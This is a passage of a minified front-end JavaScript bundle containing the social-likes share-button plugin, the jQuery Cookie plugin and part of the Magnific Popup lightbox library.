u="social-likes",d=u+"__",f=u+"_opened",p="https:"===location.protocol?"https:":"http:",h={facebook:{counterUrl:"https://graph.facebook.com/fql?q=SELECT+total_count+FROM+link_stat+WHERE+url%3D%22{url}%22&callback=?",convertNumber:function(e){return e.data[0].total_count},popupUrl:"https://www.facebook.com/sharer/sharer.php?u={url}",popupWidth:600,popupHeight:500},twitter:{counterUrl:"https://cdn.api.twitter.com/1/urls/count.json?url={url}&callback=?",convertNumber:function(e){return e.count},popupUrl:"https://twitter.com/intent/tweet?url={url}&text={title}",popupWidth:600,popupHeight:450,click:function(){return/[\.:\-\u2013\u2014]\s*$/.test(this.options.title)||(this.options.title+=":"),!0}},mailru:{counterUrl:p+"//connect.mail.ru/share_count?url_list={url}&callback=1&func=?",convertNumber:function(e){for(var t in e)if(e.hasOwnProperty(t))return e[t].shares},popupUrl:p+"//connect.mail.ru/share?share_url={url}&title={title}",popupWidth:550,popupHeight:360},vkontakte:{counterUrl:p+"//vk.com/share.php?act=count&url={url}&index={index}",counter:function(t,n){var i=h.vkontakte;i._||(i._=[],window.VK||(window.VK={}),window.VK.Share={count:function(e,t){i._[e].resolve(t)}});var r=i._.length;i._.push(n),e.getScript(o(t,{index:r})).fail(n.reject)},popupUrl:p+"//vk.com/share.php?url={url}&title={title}",popupWidth:550,popupHeight:330},odnoklassniki:{counterUrl:p+"//www.odnoklassniki.ru/dk?st.cmd=shareData&ref={url}&cb=?",convertNumber:function(e){return e.count},popupUrl:p+"//www.odnoklassniki.ru/dk?st.cmd=addShare&st._surl={url}",popupWidth:550,popupHeight:360},plusone:{counterUrl:"http:"===p?"http://share.yandex.ru/gpp.xml?url={url}":t,counter:function(t,n){var i=h.plusone;i._?n.reject():(window.services||(window.services={}),window.services.gplus={cb:function(e){i._.resolve(e)}},i._=n,e.getScript(o(t)).fail(n.reject))},popupUrl:"https://plus.google.com/share?url={url}",popupWidth:700,popupHeight:500},pinterest:{counterUrl:p+"//api.pinterest.com/v1/urls/count.json?url={url}&callback=?",convertNumber:function(e){return e.count},popupUrl:p+"//pinterest.com/pin/create/button/?url={url}&description={title}",popupWidth:630,popupHeight:270}},m={promises:{},fetch:function(t,n,i){m.promises[t]||(m.promises[t]={});var r=m.promises[t];if(!i.forceUpdate&&r[n])return r[n];var a=e.extend({},h[t],i),s=e.Deferred(),l=a.counterUrl&&o(a.counterUrl,{url:n});return l&&e.isFunction(a.counter)?a.counter(l,s):a.counterUrl?e.getJSON(l).done(function(t){try{var n=t;e.isFunction(a.convertNumber)&&(n=a.convertNumber(t)),s.resolve(n)}catch(i){s.reject()}}).fail(s.reject):s.reject(),r[n]=s.promise(),r[n]}};e.fn.socialLikes=function(t){return this.each(function(){var i=e(this),o=i.data(u);o?e.isPlainObject(t)&&o.update(t):(o=new n(i,e.extend({},e.fn.socialLikes.defaults,t,r(i))),i.data(u,o))})},e.fn.socialLikes.defaults={url:window.location.href.replace(window.location.hash,""),title:document.title,counters:!0,zeroes:!1,wait:500,popupCheckInterval:500,singleTitle:"Share"},n.prototype={init:function(){this.container.addClass(u),this.single=this.container.hasClass(u+"_single"),this.initUserButtons(),this.number=0,this.container.on("counter."+u,e.proxy(this.updateCounter,this));var t=this.container.children();this.countersLeft=t.length,this.makeSingleButton(),this.buttons=[],t.each(e.proxy(function(t,n){this.buttons.push(new i(e(n),this.options))},this)),this.options.counters?this.timer=setTimeout(e.proxy(this.appear,this),this.options.wait):this.appear()},initUserButtons:function(){!this.userButtonInited&&window.socialLikesButtons&&e.extend(!0,h,socialLikesButtons),this.userButtonInited=!0},makeSingleButton:function(){if(this.single){var t=this.container;t.addClass(u+"_vertical"),t.wrap(e("<div>",{"class":u+"_single-w"})),t.wrapInner(e("<div>",{"class":u+"__single-container"}));var n=t.parent(),i=e("<div>",{"class":s("widget","single")}),r=e(a('<div class="{buttonCls}"><span class="{iconCls}"></span>{title}</div>',{buttonCls:s("button","single"),iconCls:s("icon","single"),title:this.options.singleTitle}));i.append(r),n.append(i),i.click(function(){var e=u+"__widget_active";return i.toggleClass(e),i.hasClass(e)?(t.css({left:-(t.width()-i.width())/2,top:-t.height()}),c(t),l(t,function(){i.removeClass(e)})):t.removeClass(f),!1}),this.widget=i}},update:function(t){if(t.forceUpdate||t.url!==this.options.url){this.number=0,this.countersLeft=this.buttons.length,this.widget&&this.widget.find("."+u+"__counter").remove(),e.extend(this.options,t);for(var n=0;n<this.buttons.length;n++)this.buttons[n].update(t)}},updateCounter:function(e,t,n){n&&(this.number+=n,this.single&&this.getCounterElem().text(this.number)),this.countersLeft--,0===this.countersLeft&&(this.appear(),this.container.addClass(u+"_ready"),this.container.trigger("ready."+u,this.number))},appear:function(){this.container.addClass(u+"_visible")},getCounterElem:function(){var t=this.widget.find("."+d+"counter_single");return t.length||(t=e("<span>",{"class":s("counter","single")}),this.widget.append(t)),t}},i.prototype={init:function(){this.detectParams(),this.initHtml(),this.initCounter()},update:function(t){e.extend(this.options,{forceUpdate:!1},t),this.widget.find("."+u+"__counter").remove(),this.initCounter()},detectService:function(){var t=this.widget.data("service");if(!t){for(var n=this.widget[0],i=n.classList||n.className.split(" "),r=0;r<i.length;r++){var o=i[r];if(h[o]){t=o;break}}if(!t)return}this.service=t,e.extend(this.options,h[t])},detectParams:function(){var e=this.widget.data();if(e.counter){var t=parseInt(e.counter,10);isNaN(t)?this.options.counterUrl=e.counter:this.options.counterNumber=t}e.title&&(this.options.title=e.title),e.url&&(this.options.url=e.url)},initHtml:function(){var t=this.options,n=this.widget,i=n.find("a");i.length&&this.cloneDataAttrs(i,n);var r=e("<span>",{"class":this.getElementClassNames("button"),text:n.text()});if(t.clickUrl){var a=o(t.clickUrl,{url:t.url,title:t.title}),s=e("<a>",{href:a});this.cloneDataAttrs(n,s),n.replaceWith(s),this.widget=n=s}else n.click(e.proxy(this.click,this));n.removeClass(this.service),n.addClass(this.getElementClassNames("widget")),r.prepend(e("<span>",{"class":this.getElementClassNames("icon")})),n.empty().append(r),this.button=r},initCounter:function(){if(this.options.counters)if(this.options.counterNumber)this.updateCounter(this.options.counterNumber);else{var t={counterUrl:this.options.counterUrl,forceUpdate:this.options.forceUpdate};m.fetch(this.service,this.options.url,t).always(e.proxy(this.updateCounter,this))}},cloneDataAttrs:function(e,t){var n=e.data();for(var i in n)n.hasOwnProperty(i)&&t.data(i,n[i])},getElementClassNames:function(e){return s(e,this.service)},updateCounter:function(t){t=parseInt(t,10)||0;var n={"class":this.getElementClassNames("counter"),text:t};t||this.options.zeroes||(n["class"]+=" "+u+"__counter_empty",n.text="");var i=e("<span>",n);this.widget.append(i),this.widget.trigger("counter."+u,[this.service,t])},click:function(t){var n=this.options,i=!0;if(e.isFunction(n.click)&&(i=n.click.call(this,t)),i){var r=o(n.popupUrl,{url:n.url,title:n.title});r=this.addAdditionalParamsToUrl(r),this.openPopup(r,{width:n.popupWidth,height:n.popupHeight})}return!1},addAdditionalParamsToUrl:function(t){var n=e.param(e.extend(this.widget.data(),this.options.data));return e.isEmptyObject(n)?t:t+(-1===t.indexOf("?")?"?":"&")+n},openPopup:function(t,n){var i=Math.round(screen.width/2-n.width/2),r=0;screen.height>n.height&&(r=Math.round(screen.height/3-n.height/2));var o=window.open(t,"sl_"+this.service,"left="+i+",top="+r+",width="+n.width+",height="+n.height+",personalbar=0,toolbar=0,scrollbars=1,resizable=1");if(o){o.focus(),this.widget.trigger("popup_opened."+u,[this.service,o]);var a=setInterval(e.proxy(function(){o.closed&&(clearInterval(a),this.widget.trigger("popup_closed."+u,this.service))},this),this.options.popupCheckInterval)}else location.href=t}},e(function(){e("."+u).socialLikes()})}), /*! * jQuery Cookie Plugin v1.4.1 * https://github.com/carhartl/jquery-cookie * * Copyright 2013 Klaus Hartl * Released under the MIT license */ function(e){"function"==typeof define&&define.amd?define(["jquery"],e):"object"==typeof exports?e(require("jquery")):e(jQuery)}(function(e){function t(e){return s.raw?e:encodeURIComponent(e)}function n(e){return s.raw?e:decodeURIComponent(e)}function i(e){return t(s.json?JSON.stringify(e):String(e))}function r(e){0===e.indexOf('"')&&(e=e.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{return e=decodeURIComponent(e.replace(a," ")),s.json?JSON.parse(e):e}catch(t){}}function o(t,n){var i=s.raw?t:r(t);return e.isFunction(n)?n(i):i}var a=/\+/g,s=e.cookie=function(r,a,l){if(a!==undefined&&!e.isFunction(a)){if("number"==typeof(l=e.extend({},s.defaults,l)).expires){var c=l.expires,u=l.expires=new Date;u.setTime(+u+864e5*c)}return document.cookie=[t(r),"=",i(a),l.expires?"; expires="+l.expires.toUTCString():"",l.path?"; path="+l.path:"",l.domain?"; domain="+l.domain:"",l.secure?"; secure":""].join("")}for(var d=r?undefined:{},f=document.cookie?document.cookie.split("; "):[],p=0,h=f.length;p<h;p++){var m=f[p].split("="),g=n(m.shift()),y=m.join("=");if(r&&r===g){d=o(y,a);break}r||(y=o(y))===undefined||(d[g]=y)}return d};s.defaults={},e.removeCookie=function(t,n){return e.cookie(t)!==undefined&&(e.cookie(t,"",e.extend({},n,{expires:-1})),!e.cookie(t))}}), /*! Magnific Popup - v0.9.9 - 2013-12-27 * http://dimsemenov.com/plugins/magnific-popup/ * Copyright (c) 2013 Dmitry Semenov; */ function(e){var t,n,i,r,o,a,s,l="Close",c="BeforeClose",u="AfterClose",d="BeforeAppend",f="MarkupParse",p="Open",h="Change",m="mfp",g="."+m,y="mfp-ready",v="mfp-removing",b="mfp-prevent-close",_=function(){},T=!!window.jQuery,w=e(window),S=function(e,n){t.ev.on(m+e+g,n)},k=function(t,n,i,r){var o=document.createElement("div");return o.className="mfp-"+t,i&&(o.innerHTML=i),r?n&&n.appendChild(o):(o=e(o),n&&o.appendTo(n)),o},C=function(n,i){t.ev.triggerHandler(m+n,i),t.st.callbacks&&(n=n.charAt(0).toLowerCase()+n.slice(1),t.st.callbacks[n]&&t.st.callbacks[n].apply(t,e.isArray(i)?i:[i]))},x=function(n){return n===s&&t.currTemplate.closeBtn||(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),s=n),t.currTemplate.closeBtn},E=function(){e.magnificPopup.instance||((t=new _).init(),e.magnificPopup.instance=t)},$=function(){var e=document.createElement("p").style,t=["ms","O","Moz","Webkit"];if(void 0!==e.transition)return!0;for(;t.length;)if(t.pop()+"Transition"in e)return!0;return!1};_.prototype={constructor:_,init:function(){var n=navigator.appVersion;t.isIE7=-1!==n.indexOf("MSIE 7."),t.isIE8=-1!==n.indexOf("MSIE 8."),t.isLowIE=t.isIE7||t.isIE8,t.isAndroid=/android/gi.test(n),t.isIOS=/iphone|ipad|ipod/gi.test(n),t.supportsTransition=$(),t.probablyMobile=t.isAndroid||t.isIOS||/(Opera Mini)|Kindle|webOS|BlackBerry|(Opera Mobi)|(Windows Phone)|IEMobile/i.test(navigator.userAgent),r=e(document),t.popupsCache={}},open:function(n){var o;if(i||(i=e(document.body)),!1===n.isObj){t.items=n.items.toArray(),t.index=0;var s,l=n.items;for(o=0;l.length>o;o++)if((s=l[o]).parsed&&(s=s.el[0]),s===n.el[0]){t.index=o;break}}else t.items=e.isArray(n.items)?n.items:[n.items],t.index=n.index||0;if(!t.isOpen){t.types=[],a="",t.ev=n.mainEl&&n.mainEl.length?n.mainEl.eq(0):r,n.key?(t.popupsCache[n.key]||(t.popupsCache[n.key]={}),t.currTemplate=t.popupsCache[n.key]):t.currTemplate={},t.st=e.extend(!0,{},e.magnificPopup.defaults,n),t.fixedContentPos="auto"===t.st.fixedContentPos?!t.probablyMobile:t.st.fixedContentPos,t.st.modal&&(t.st.closeOnContentClick=!1,t.st.closeOnBgClick=!1,t.st.showCloseBtn=!1,t.st.enableEscapeKey=!1),t.bgOverlay||(t.bgOverlay=k("bg").on("click"+g,function(){t.close()}),t.wrap=k("wrap").attr("tabindex",-1).on("click"+g,function(e){t._checkIfClose(e.target)&&t.close()}),t.container=k("container",t.wrap)),t.contentContainer=k("content"),t.st.preloader&&(t.preloader=k("preloader",t.container,t.st.tLoading));var c=e.magnificPopup.modules;for(o=0;c.length>o;o++){var u=c[o];u=u.charAt(0).toUpperCase()+u.slice(1),t["init"+u].call(t)}C("BeforeOpen"),t.st.showCloseBtn&&(t.st.closeBtnInside?(S(f,function(e,t,n,i){n.close_replaceWith=x(i.type)}),a+=" mfp-close-btn-in"):t.wrap.append(x())),t.st.alignTop&&(a+=" mfp-align-top"),t.fixedContentPos?t.wrap.css({overflow:t.st.overflowY,overflowX:"hidden",overflowY:t.st.overflowY}):t.wrap.css({top:w.scrollTop(),position:"absolute"}),(!1===t.st.fixedBgPos||"auto"===t.st.fixedBgPos&&!t.fixedContentPos)&&t.bgOverlay.css({height:r.height(),position:"absolute"}),t.st.enableEscapeKey&&r.on("keyup"+g,function(e){27===e.keyCode&&t.close()}),w.on("resize"+g,function(){t.updateSize()}),t.st.closeOnContentClick||(a+=" mfp-auto-cursor"),a&&t.wrap.addClass(a);var d=t.wH=w.height(),h={};if(t.fixedContentPos&&t._hasScrollBar(d)){var m=t._getScrollbarSize();m&&(h.marginRight=m)}t.fixedContentPos&&(t.isIE7?e("body, html").css("overflow","hidden"):h.overflow="hidden");var v=t.st.mainClass;return t.isIE7&&(v+=" mfp-ie7"),v&&t._addClassToMFP(v),t.updateItemHTML(),C("BuildControls"),e("html").css(h),t.bgOverlay.add(t.wrap).prependTo(t.st.prependTo||i),t._lastFocusedEl=document.activeElement,setTimeout(function(){t.content?(t._addClassToMFP(y),t._setFocus()):t.bgOverlay.addClass(y),r.on("focusin"+g,t._onFocusIn)},16),t.isOpen=!0,t.updateSize(d),C(p),n}t.updateItemHTML()},close:function(){t.isOpen&&(C(c),t.isOpen=!1,t.st.removalDelay&&!t.isLowIE&&t.supportsTransition?(t._addClassToMFP(v),setTimeout(function(){t._close()},t.st.removalDelay)):t._close())},_close:function(){C(l);var n=v+" "+y+" ";if(t.bgOverlay.detach(),t.wrap.detach(),t.container.empty(),t.st.mainClass&&(n+=t.st.mainClass+" "),t._removeClassFromMFP(n),t.fixedContentPos){var i={marginRight:""};t.isIE7?e("body, html").css("overflow",""):i.overflow="",e("html").css(i)}r.off("keyup"+g+" focusin"+g),t.ev.off(g),t.wrap.attr("class","mfp-wrap").removeAttr("style"),t.bgOverlay.attr("class","mfp-bg"),t.container.attr("class","mfp-container"),!t.st.showCloseBtn||t.st.closeBtnInside&&!0!==t.currTemplate[t.currItem.type]||t.currTemplate.closeBtn&&t.currTemplate.closeBtn.detach(),t._lastFocusedEl&&e(t._lastFocusedEl).focus(),t.currItem=null,t.content=null,t.currTemplate=null,t.prevHeight=0,C(u)},updateSize:function(e){if(t.isIOS){var n=document.documentElement.clientWidth/window.innerWidth,i=window.innerHeight*n;t.wrap.css("height",i),t.wH=i}else t.wH=e||w.height();t.fixedContentPos||t.wrap.css("height",t.wH),C("Resize")},updateItemHTML:function(){var n=t.items[t.index];t.contentContainer.detach(),t.content&&t.content.detach(),n.parsed||(n=t.parseEl(t.index));var i=n.type;if(C("BeforeChange",[t.currItem?t.currItem.type:"",i]),t.currItem=n,!t.currTemplate[i]){var r=!!t.st[i]&&t.st[i].markup;C("FirstMarkupParse",r),t.currTemplate[i]=!r||e(r)}o&&o!==n.type&&t.container.removeClass("mfp-"+o+"-holder");var a=t["get"+i.charAt(0).toUpperCase()+i.slice(1)](n,t.currTemplate[i]);t.appendContent(a,i),n.preloaded=!0,C(h,n),o=n.type,t.container.prepend(t.contentContainer),C("AfterChange")},appendContent:function(e,n){t.content=e,e?t.st.showCloseBtn&&t.st.closeBtnInside&&!0===t.currTemplate[n]?t.content.find(".mfp-close").length||t.content.append(x()):t.content=e:t.content="",C(d),t.container.addClass("mfp-"+n+"-holder"),t.contentContainer.append(t.content)},parseEl:function(n){var i,r=t.items[n];if(r.tagName?r={el:e(r)}:(i=r.type,r={data:r,src:r.src}),r.el){for(var o=t.types,a=0;o.length>a;a++)if(r.el.hasClass("mfp-"+o[a])){i=o[a];break}r.src=r.el.attr("data-mfp-src"),r.src||(r.src=r.el.attr("href"))}return r.type=i||t.st.type||"inline",r.index=n,r.parsed=!0,t.items[n]=r,C("ElementParse",r),t.items[n]},addGroup:function(e,n){var i=function(i){i.mfpEl=this,t._openClick(i,e,n)};n||(n={});var r="click.magnificPopup";n.mainEl=e,n.items?(n.isObj=!0,e.off(r).on(r,i)):(n.isObj=!1,n.delegate?e.off(r).on(r,n.delegate,i):(n.items=e,e.off(r).on(r,i)))},_openClick:function(n,i,r){if((void 0!==r.midClick?r.midClick:e.magnificPopup.defaults.midClick)||2!==n.which&&!n.ctrlKey&&!n.metaKey){var o=void 0!==r.disableOn?r.disableOn:e.magnificPopup.defaults.disableOn;if(o)if(e.isFunction(o)){if(!o.call(t))return!0}else if(o>w.width())return!0;n.type&&(n.preventDefault(),t.isOpen&&n.stopPropagation()),r.el=e(n.mfpEl),r.delegate&&(r.items=i.find(r.delegate)),t.open(r)}},updateStatus:function(e,i){if(t.preloader){n!==e&&t.container.removeClass("mfp-s-"+n),i||"loading"!==e||(i=t.st.tLoading);var r={status:e,text:i};C("UpdateStatus",r),e=r.status,i=r.text,t.preloader.html(i),t.preloader.find("a").on("click",function(e){e.stopImmediatePropagation()}),t.container.addClass("mfp-s-"+e),n=e}},_checkIfClose:function(n){if(!e(n).hasClass(b)){var i=t.st.closeOnContentClick,r=t.st.closeOnBgClick;if(i&&r)return!0;if(!t.content||e(n).hasClass("mfp-close")||t.preloader&&n===t.preloader[0])return!0;if(n===t.content[0]||e.contains(t.content[0],n)){if(i)return!0}else if(r&&e.contains(document,n))return!0;return!1}},_addClassToMFP:function(e){t.bgOverlay.addClass(e),t.wrap.addClass(e)},_removeClassFromMFP:function(e){this.bgOverlay.removeClass(e),t.wrap.removeClass(e)},_hasScrollBar:function(e){return(t.isIE7?r.height():document.body.scrollHeight)>(e||w.height())},_setFocus:function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).focus()},_onFocusIn:function(n){return n.target===t.wrap[0]||e.contains(t.wrap[0],n.target)?void 0:(t._setFocus(),!1)},_parseMarkup:function(t,n,i){var r;i.data&&(n=e.extend(i.data,n)),C(f,[t,n,i]),e.each(n,function(e,n){if(void 0===n||!1===n)return!0;if((r=e.split("_")).length>1){var i=t.find(g+"-"+r[0]);if(i.length>0){var o=r[1];"replaceWith"===o?i[0]!==n[0]&&i.replaceWith(n):"img"===o?i.is("img")?i.attr("src",n):i.replaceWith('<img src="'+n+'" class="'+i.attr("class")+'" />'):i.attr(r[1],n)}}else t.find(g+"-"+e).html(n)})},_getScrollbarSize:function(){if(void 0===t.scrollbarSize){var e=document.createElement("div");e.id="mfp-sbm",e.style.cssText="width: 99px; height: 99px; overflow: scroll; position: absolute; top: -9999px;",document.body.appendChild(e),t.scrollbarSize=e.offsetWidth-e.clientWidth,document.body.removeChild(e)}return t.scrollbarSize}},e.magnificPopup={instance:null,proto:_.prototype,modules:[],open:function(t,n){return E(),(t=t?e.extend(!0,{},t):{}).isObj=!0,t.index=n||0,this.instance.open(t)},close:function(){return e.magnificPopup.instance&&e.magnificPopup.instance.close()},registerModule:function(t,n){n.options&&(e.magnificPopup.defaults[t]=n.options),e.extend(this.proto,n.proto),this.modules.push(t)},defaults:{disableOn:0,key:null,midClick:!1,mainClass:"",preloader:!0,focus:"",closeOnContentClick:!1,closeOnBgClick:!0,closeBtnInside:!0,showCloseBtn:!0,enableEscapeKey:!0,modal:!1,alignTop:!1,removalDelay:0,prependTo:null,fixedContentPos:"auto",fixedBgPos:"auto",overflowY:"auto",closeMarkup:'<button title="%title%" type="button" class="mfp-close">×</button>',tClose:"Close (Esc)",tLoading:"Loading..."}},e.fn.magnificPopup=function(n){E();var i=e(this);if("string"==typeof n)if("open"===n){var r,o=T?i.data("magnificPopup"):i[0].magnificPopup,a=parseInt(arguments[1],10)||0;o.items?r=o.items[a]:(r=i,o.delegate&&(r=r.find(o.delegate)),r=r.eq(a)),t._openClick({mfpEl:r},i,o)}else t.isOpen&&t[n].apply(t,Array.prototype.slice.call(arguments,1));else n=e.extend(!0,{},n),T?i.data("magnificPopup",n):i[0].magnificPopup=n,t.addGroup(i,n);return i};var A,M,P,D="inline",F=function(){P&&(M.after(P.addClass(A)).detach(),P=null)};e.magnificPopup.registerModule(D,{options:{hiddenClass:"hide",markup:"",tNotFound:"Content not found"},proto:{initInline:function(){t.types.push(D),S(l+"."+D,function(){F()})},getInline:function(n,i){if(F(),n.src){var r=t.st.inline,o=e(n.src);if(o.length){var a=o[0].parentNode;a&&a.tagName&&(M||(A=r.hiddenClass,M=k(A),A="mfp-"+A),P=o.after(M).detach().removeClass(A)),t.updateStatus("ready")}else t.updateStatus("error",r.tNotFound),o=e("<div>");return n.inlineElement=o,o}return t.updateStatus("ready"),t._parseMarkup(i,{},n),i}}});var L,I="ajax",N=function(){L&&i.removeClass(L)},O=function(){N(),t.req&&t.req.abort()};e.magnificPopup.registerModule(I,{options:{settings:null,cursor:"mfp-ajax-cur",tError:'<a href="%url%">The content</a> could not be loaded.'},proto:{initAjax:function(){t.types.push(I),L=t.st.ajax.cursor,S(l+"."+I,O),S("BeforeChange."+I,O)},getAjax:function(n){L&&i.addClass(L),t.updateStatus("loading");var r=e.extend({url:n.src,success:function(i,r,o){var a={data:i,xhr:o};C("ParseAjax",a),t.appendContent(e(a.data),I),n.finished=!0,N(),t._setFocus(),setTimeout(function(){t.wrap.addClass(y)},16),t.updateStatus("ready"),C("AjaxContentAdded")},error:function(){N(),n.finished=n.loadError=!0,t.updateStatus("error",t.st.ajax.tError.replace("%url%",n.src))}},t.st.ajax.settings);return t.req=e.ajax(r),""}}});var R,j=function(n){if(n.data&&void 0!==n.data.title)return n.data.title;var i=t.st.image.titleSrc;if(i){if(e.isFunction(i))return i.call(t,n);if(n.el)return n.el.attr(i)||""}return""};e.magnificPopup.registerModule("image",{options:{markup:'<div class="mfp-figure"><div class="mfp-close"></div><figure><div class="mfp-img"></div><figcaption><div class="mfp-bottom-bar"><div class="mfp-title"></div><div class="mfp-counter"></div></div></figcaption></figure></div>',cursor:"mfp-zoom-out-cur",titleSrc:"title",verticalFit:!0,tError:'<a href="%url%">The image</a> could not be loaded.'},proto:{initImage:function(){var e=t.st.image,n=".image";t.types.push("image"),S(p+n,function(){"image"===t.currItem.type&&e.cursor&&i.addClass(e.cursor)}),S(l+n,function(){e.cursor&&i.removeClass(e.cursor),w.off("resize"+g)}),S("Resize"+n,t.resizeImage),t.isLowIE&&S("AfterChange",t.resizeImage)},resizeImage:function(){var e=t.currItem;if(e&&e.img&&t.st.image.verticalFit){var n=0;t.isLowIE&&(n=parseInt(e.img.css("padding-top"),10)+parseInt(e.img.css("padding-bottom"),10)),e.img.css("max-height",t.wH-n)}},_onImageHasSize:function(e){e.img&&(e.hasSize=!0,R&&clearInterval(R),e.isCheckingImgSize=!1,C("ImageHasSize",e),e.imgHidden&&(t.content&&t.content.removeClass("mfp-loading"),e.imgHidden=!1))},findImageSize:function(e){var n=0,i=e.img[0],r=function(o){R&&clearInterval(R),R=setInterval(function(){return i.naturalWidth>0?void t._onImageHasSize(e):(n>200&&clearInterval(R),void(3===++n?r(10):40===n?r(50):100===n&&r(500)))},o)};r(1)},getImage:function(n,i){var r=0,o=function(){n&&(n.img[0].complete?(n.img.off(".mfploader"),n===t.currItem&&(t._onImageHasSize(n),t.updateStatus("ready")),n.hasSize=!0,n.loaded=!0,C("ImageLoadComplete")):200>++r?setTimeout(o,100):a())},a=function(){n&&(n.img.off(".mfploader"),n===t.currItem&&(t._onImageHasSize(n),t.updateStatus("error",s.tError.replace("%url%",n.src))),n.hasSize=!0,n.loaded=!0,n.loadError=!0)},s=t.st.image,l=i.find(".mfp-img");if(l.length){var c=document.createElement("img");c.className="mfp-img",n.img=e(c).on("load.mfploader",o).on("error.mfploader",a),c.src=n.src,l.is("img")&&(n.img=n.img.clone()),(c=n.img[0]).naturalWidth>0?n.hasSize=!0:c.width||(n.hasSize=!1)}return t._parseMarkup(i,{title:j(n),img_replaceWith:n.img},n),t.resizeImage(),n.hasSize?(R&&clearInterval(R),n.loadError?(i.addClass("mfp-loading"),t.updateStatus("error",s.tError.replace("%url%",n.src))):(i.removeClass("mfp-loading"),t.updateStatus("ready")),i):(t.updateStatus("loading"),n.loading=!0,n.hasSize||(n.imgHidden=!0,i.addClass("mfp-loading"),t.findImageSize(n)),i)}}});var V,U=function(){return void 0===V&&(V=void 0!==document.createElement("p").style.MozTransform),V};e.magnificPopup.registerModule("zoom",{options:{enabled:!1,easing:"ease-in-out",duration:300,opener:function(e){return e.is("img")?e:e.find("img")}},proto:{initZoom:function(){var e,n=t.st.zoom,i=".zoom";if(n.enabled&&t.supportsTransition){var r,o,a=n.duration,s=function(e){var t=e.clone().removeAttr("style").removeAttr("class").addClass("mfp-animated-image"),i="all "+n.duration/1e3+"s "+n.easing,r={position:"fixed",zIndex:9999,left:0,top:0,"-webkit-backface-visibility":"hidden"},o="transition";return r["-webkit-"+o]=r["-moz-"+o]=r["-o-"+o]=r[o]=i,t.css(r),t},u=function(){t.content.css("visibility","visible")};S("BuildControls"+i,function(){if(t._allowZoom()){if(clearTimeout(r),t.content.css("visibility","hidden"),!(e=t._getItemToZoom()))return void u();(o=s(e)).css(t._getOffset()),t.wrap.append(o),r=setTimeout(function(){o.css(t._getOffset(!0)),r=setTimeout(function(){u(),setTimeout(function(){o.remove(),e=o=null,C("ZoomAnimationEnded")},16)},a)},16)}}),S(c+i,function(){if(t._allowZoom()){if(clearTimeout(r),t.st.removalDelay=a,!e){if(!(e=t._getItemToZoom()))return;o=s(e)}o.css(t._getOffset(!0)),t.wrap.append(o),t.content.css("visibility","hidden"),setTimeout(function(){o.css(t._getOffset())},16)}}),S(l+i,function(){t._allowZoom()&&(u(),o&&o.remove(),e=null)})}},_allowZoom:function(){return"image"===t.currItem.type},_getItemToZoom:function(){return!!t.currItem.hasSize&&t.currItem.img},_getOffset:function(n){var i,r=(i=n?t.currItem.img:t.st.zoom.opener(t.currItem.el||t.currItem)).offset(),o=parseInt(i.css("padding-top"),10),a=parseInt(i.css("padding-bottom"),10);r.top-=e(window).scrollTop()-o;var s={width:i.width(),height:(T?i.innerHeight():i[0].offsetHeight)-a-o};return U()?s["-moz-transform"]=s.transform="translate("+r.left+"px,"+r.top+"px)":(s.left=r.left,s.top=r.top),s}}});var B="iframe",H="//about:blank",W=function(e){if(t.currTemplate[B]){var n=t.currTemplate[B].find("iframe");n.length&&(e||(n[0].src=H),t.isIE8&&n.css("display",e?"block":"none"))}};e.magnificPopup.registerModule(B,{options:{markup:'<div class="mfp-iframe-scaler"><div class="mfp-close"></div><iframe class="mfp-iframe" src="//about:blank" frameborder="0" allowfullscreen></iframe></div>',srcAction:"iframe_src",patterns:{youtube:{index:"youtube.com",id:"v=",src:"//www.youtube.com/embed/%id%?autoplay=1&rel=0&hd=1"},vimeo:{index:"vimeo.com/",id:"/",src:"//player.vimeo.com/video/%id%?autoplay=1"},gmaps:{index:"//maps.google.",src:"%id%&output=embed"}}},proto:{initIframe:function(){t.types.push(B),S("BeforeChange",function(e,t,n){t!==n&&(t===B?W():n===B&&W(!0))}),S(l+"."+B,function(){W()})},getIframe:function(n,i){var r=n.src,o=t.st.iframe;e.each(o.patterns,function(){return r.indexOf(this.index)>-1?(this.id&&(r="string"==typeof this.id?r.substr(r.lastIndexOf(this.id)+this.id.length,r.length):this.id.call(this,r)),r=this.src.replace("%id%",r),!1):void 0});var a={};return o.srcAction&&(a[o.srcAction]=r),t._parseMarkup(i,a,n),t.updateStatus("ready"),i}}});var z=function(e){var n=t.items.length;return e>n-1?e-n:0>e?n+e:e},q=function(e,t,n){return e.replace(/%curr%/gi,t+1).replace(/%total%/gi,n)};e.magnificPopup.registerModule("gallery",{options:{enabled:!1,arrowMarkup:'<button title="%title%" type="button" class="mfp-arrow mfp-arrow-%dir%"></button>',preload:[0,2],navigateByImgClick:!0,arrows:!0,tPrev:"Previous (Left arrow key)",tNext:"Next (Right arrow key)",tCounter:"%curr% of %total%"},proto:{initGallery:function(){var n=t.st.gallery,i=".mfp-gallery",o=Boolean(e.fn.mfpFastClick);return t.direction=!0,!(!n||!n.enabled)&&(a+=" mfp-gallery",S(p+i,function(){n.navigateByImgClick&&t.wrap.on("click"+i,".mfp-img",function(){return t.items.length>1?(t.next(),!1):void 0}),r.on("keydown"+i,function(e){37===e.keyCode?t.prev():39===e.keyCode&&t.next()})}),S("UpdateStatus"+i,function(e,n){n.text&&(n.text=q(n.text,t.currItem.index,t.items.length))}),S(f+i,function(e,i,r,o){var a=t.items.length;r.counter=a>1?q(n.tCounter,o.index,a):""}),S("BuildControls"+i,function(){if(t.items.length>1&&n.arrows&&!t.arrowLeft){var i=n.arrowMarkup,r=t.arrowLeft=e(i.replace(/%title%/gi,n.tPrev).replace(/%dir%/gi,"left")).addClass(b),a=t.arrowRight=e(i.replace(/%title%/gi,n.tNext).replace(/%dir%/gi,"right")).addClass(b),s=o?"mfpFastClick":"click";r[s](function(){t.prev()}),a[s](function(){t.next()}),t.isIE7&&(k("b",r[0],!1,!0),k("a",r[0],!1,!0),k("b",a[0],!1,!0),k("a",a[0],!1,!0)),t.container.append(r.add(a))}}),S(h+i,function(){t._preloadTimeout&&clearTimeout(t._preloadTimeout),t._preloadTimeout=setTimeout(function(){t.preloadNearbyImages(),t._preloadTimeout=null},16)}),void 